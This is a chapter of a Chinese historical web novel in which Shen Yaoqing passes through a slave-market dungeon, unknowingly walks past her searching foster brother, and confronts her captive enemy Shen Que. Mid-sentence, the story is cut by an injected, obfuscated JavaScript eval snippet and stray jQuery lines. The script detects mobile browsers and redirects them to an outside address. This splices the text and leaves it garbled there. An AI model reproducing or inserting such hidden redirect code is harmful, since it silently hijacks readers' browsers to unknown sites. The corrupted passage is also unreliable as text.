天色昏蒙,骤雨不歇。
雨巷尽头,矗立着一座醉仙楼,其外,雕梁画栋,其内,金碧辉煌。
沈瑶卿追着灰衣男子而来,醉仙楼内酒香四溢,丝竹悦耳,美女如云。姑娘随乐声起舞,舞姿妖娆,脚上的铃铛随着舞步叮铃作响。
一舞女踏着舞步朝沈瑶卿靠近,衣袖轻轻拂过沈瑶卿的脸,脂粉香气萦绕不去。
“姑娘也是来找乐子的?”女管家款款走来,招待客人,她身穿紫衣,媚眼如丝。
沈瑶卿从怀里掏出一卷纸条:“我来找人,带我去见他。”
女子接过纸条展开来看,神情严肃起来:“姑娘,请跟我来。”
“丁老板,有人来找你。”女子将她引至醉仙楼隐秘的一处后院,山水屏风前站着一个身穿灰色云纹锦衣的中年男子,手握貔貅,听到有人叫他,缓缓转过身来。他五官端正,风气英秀,只是眉骨处有一道疤。
丁砚之,明面上是醉仙楼的东家,但在暗地里,却是奴场的老板,做些奴隶贩卖生意,当然,也可以拿钱买人性命。
当年,沈瑶卿遭流寇追杀,意外沦落生死场,向生死场交换自己,那时年幼,她手无缚鸡之力,唯有如此,才能保下自己一条命。而生死场的主人家混迹于黑白两道,常与丁砚之的父亲丁拾搭线,如今生意由丁砚之接手,沈瑶卿也是凭借生死场的消息才得以与他取得联系。
只不过,丁砚之要价属实有些高,还好,在回京时,晏回溪给了她一笔钱财,沈瑶卿于金银之物一向淡泊,一路上省吃俭用,几乎无所消耗,加之在沈府中积攒的俸禄,零零散散终于凑够。
“原来是沈姑娘。”丁砚之一笑。
“丁老板,钱已经给了你,我要的人,你可找到了?”沈瑶卿开门见山,混于□□的人,最讲信用,最不讲的,却是情义。
“沈姑娘,我办事你放心,那人已经找到了,请随我来。”话音刚落,丁砚之引着沈瑶卿走向密道。
楼道幽闭漆黑,丁砚之在前方秉烛引路。
石阶陡峭,偶尔踢到碎石,发出细碎的“咔哒“声,在狭长暗道中荡开回响。两侧石墙斑驳,墙缝里嵌着枯败的草根,潮湿水意漫过来,混着泥腥味,带有几分沉滞的凉意。
远处传来人痛苦的呻吟,鞭笞砸落,挥出凌厉风响。沈瑶卿将明烛放在石壁上一照,透过烛光,看到几道触目惊心的血痕。
丁砚之见沈瑶卿并不惊恐:“姑娘见到这样的场面竟丝毫没有畏惧之色。”
死尸、囚犯、鲜血、酷刑、伤疤……凡是初次来此地的人,无论男女,这样血淋淋的场景,都难免会不适应,有人会控制不住恶心连声作呕,有人害怕到转身就跑。
沈瑶卿生得纤弱,身形薄薄一片,如弱柳扶风,可行于此地时,呼吸平稳,步伐稳健,仿佛对这满堂的狰狞和惨叫司空见惯了一般,冷静得可怕。
沈瑶卿观察着铁栏里锁着囚徒,地上满是泥泞和潮湿,他们趴在地上,鲜血和污垢缠绕粘腻在伤疤里,真是一座暗无天日的牢笼:“与丁老板做生意,不提前做好心理准备这么能行?”
耳边响起铁链拖地的锈响,锈响愈发明晰,在这片低吟声中乱舞,蜷缩在角落里的人看见沈瑶卿,猛地弹起身来,抓住铁栅栏拼命摇晃,喉咙发出呜呜咽咽的声响,让人听不清在说什么。
那人睁大自己的双瞳,沈瑶卿?她是沈瑶卿吗?当年莱阳肆虐,他们一家人被迫分开,她竟然还活着!柳瑜拼命摇晃手中的铁链,可无论如何也挣脱不开。
沈瑶卿正要转过头去,那人便被人拖着按在地上打,枯瘦的手朝沈瑶卿的方向伸过来。
“沈姑娘,不是他。”丁砚之说道。
沈瑶卿没看到柳瑜,头又转了回来,继续往前走了。
狱卒抡起自己的拳头砸向柳瑜,一拳又一拳,他的头越来越昏,双眼开始发黑,仿佛陷入无尽头的黑暗,空洞,虚无,唯有一片清冷薄影从眼前轻轻飘过,他伸手去抓,可那是一道虚无缥缈的影子,他触碰不到,转眼间,那道影子又随即消匿。
只剩黑暗无边无际。
那一年,沈瑶卿初来柳家,妹妹年纪那样小就背井离乡,可哪有小孩子不思家,不思爹娘的呢,可沈瑶卿却乖巧又懂事,不哭也不闹,家里有活也总主动抢着帮忙。
柳瑜总爱逗弄她,经常把她逗哭,弄哭后又去买桂花糖去哄,沈瑶卿吃完便乐呵呵地对他笑,把什么烦心事都忘了,也从来不提想家。
毕竟还小,不懂什么叫离别,还处于吃几颗糖就能把烦心事忘了的年纪,柳瑜看着沈瑶卿,心想到。
有一天晚上,柳瑜路过沈瑶卿的房间,却发现沈瑶卿房门没关紧,夜里风凉,也不怕着凉的,柳瑜无可奈何地笑了笑,还是选择替她将门关上。
他走进,拉起两边的木门,正要关上时,却听到低低的抽泣声。
“难不成还没睡?”柳瑜心中疑惑,于是向门里走去。
“是遇到什么伤心事了吗?柳瑜蹲下身子,看着沈瑶卿蜷缩着小小的身子,轻声问道。
半晌没有回应,门外,秋风轻扫落叶,发出细碎的“沙沙”声,沈瑶卿正在熟睡。
柳瑜替她盖好被子,宠溺地笑了笑:“原来,是做噩梦了。”
柳瑜慢慢悠悠地站起身,忽然被人抓住了衣角,他脚步一顿,听到耳边传来喃喃低语:
“爹,娘,不要送瑶儿走,瑶儿以后一定乖乖地,不惹爹娘生气。”
窗外枯叶低旋,繁星璀璨,稚嫩的童声揉碎在秋风里,柔软地令人心疼。
“我不走。”柳瑜原路折回,看到沈瑶卿的脸颊上淌着泪,白天表现得那样开心,夜里竟在偷偷哭泣。
原来,不过是在故作坚强。
柳瑜看着这个比自己小四岁的妹妹,他不知道,为什么这个妹妹会来到自己的身边,但柳瑜决定好好保护她。
流寇肆虐打破了这场镜花水月,父母决意搬迁远地桐邱县,可逃离途中,沈瑶卿却走丢了,与妹妹走散,成了柳昀永远的心结,他也以为只是走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379931|184106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
散,走散只是意外。
可他错了,一年前,他得知真相,这不是巧合,这不是意外,而是爹娘故意为之,是爹娘将妹妹活生生地抛弃。
他们怎可以如此狠心绝情,柳瑜不敢置信,他敬重的父母怎会做出如此行径,于天理不容,于是,他狠心违逆父母,孤身上京,去赌沈瑶卿活着的可能。
他想,就算踏遍山河,不惜一切代价,也一定要将她找回。
刚刚他见到的是沈瑶卿吗?是她吗?希望不是幻象,希望不是梦幻泡影,感恩上苍,她还活着,他的苦苦寻找不是竹篮打水一场空。
可她为什么会出现在这样危险的地方,老天保佑,她要平安,他一定要平平安安。
意识越发混沌,柳瑜的手渐渐垂在地上,晕了过去。
沈瑶卿顺着暗道继续往前走,不知为何,胸口处传来一阵闷痛,她捂住胸口,向后看了看,暗道处,除了无尽的黑暗,除了潮湿的腥味,什么也没有。
应是最近太累了,没休息好。
丁砚之见状问道:“沈姑娘,怎么了?”
沈瑶卿摇摇头:“没事,快到了吗?”
丁砚之举着烛火往前一照:“快了,就在前面不远处。”
沉重的铁门被推动,沿着地面摩擦,发出闷响。
躺在角落里得人蓬头垢面,百无聊赖地叼着一根杂草,抖着腿,见丁砚之来,“呸”得一声吐出嘴里得杂草,一脸不屑地看着丁砚之,说道:“真没想到,老子在世上混了半辈子,竟有人愿意出重金来买老子的命。”
“老子竟不知道老子的命这么值钱!”
“都死到临头了,你还这么惬意。”丁砚之踹了他一脚,说道。
他忽然弹坐起来,发了疯似地尖叫呐喊:“有种买老子的命,却不敢出来见老子,什么狗崽子,缩头乌龟!是不是怕老子一刀砍死你。”
“沈却,好久不见。”空灵的,嘲讽的带有怨恨的声音传来。
沈却抬头,丁砚之身后走出一位女子,她走路时一点声音也没有,轻飘飘得宛若鬼魅,烛光映照着她森冷的双眸。
隐隐约约地,能看见一张秀美的脸。
是个女子,年龄也不大。
沈却蹙眉,白了她几眼,蛮横质问道:“你谁啊?我认识你吗?”忽然,他顿了一下,反应过来什么:“是你叫人抓我的?你丫的,老子认识你吗?”
黑暗如同一张密网笼罩下来,将每一个人包裹,让人喘不上气,沈瑶卿盯着他,瞳仁如墨,十分瘆人。
沈却,若非是他,当年父亲母亲怎会送她走?
“你当然不记得我了。”沈瑶卿蹲下身子,沈却的手上、脚上都绑着铁链,纵然他使劲浑身解数去挣脱,也无法脱离。
困兽犹斗,白费力气。
“不过这没关系。”
沈瑶卿缓缓放下手中,用手挑动窜动的灯芯,像是在玩弄一个没有反抗之力之人,她看着沈却手上被勒出的刺目血痕,眉眼一弯:“我记得你,便够了。”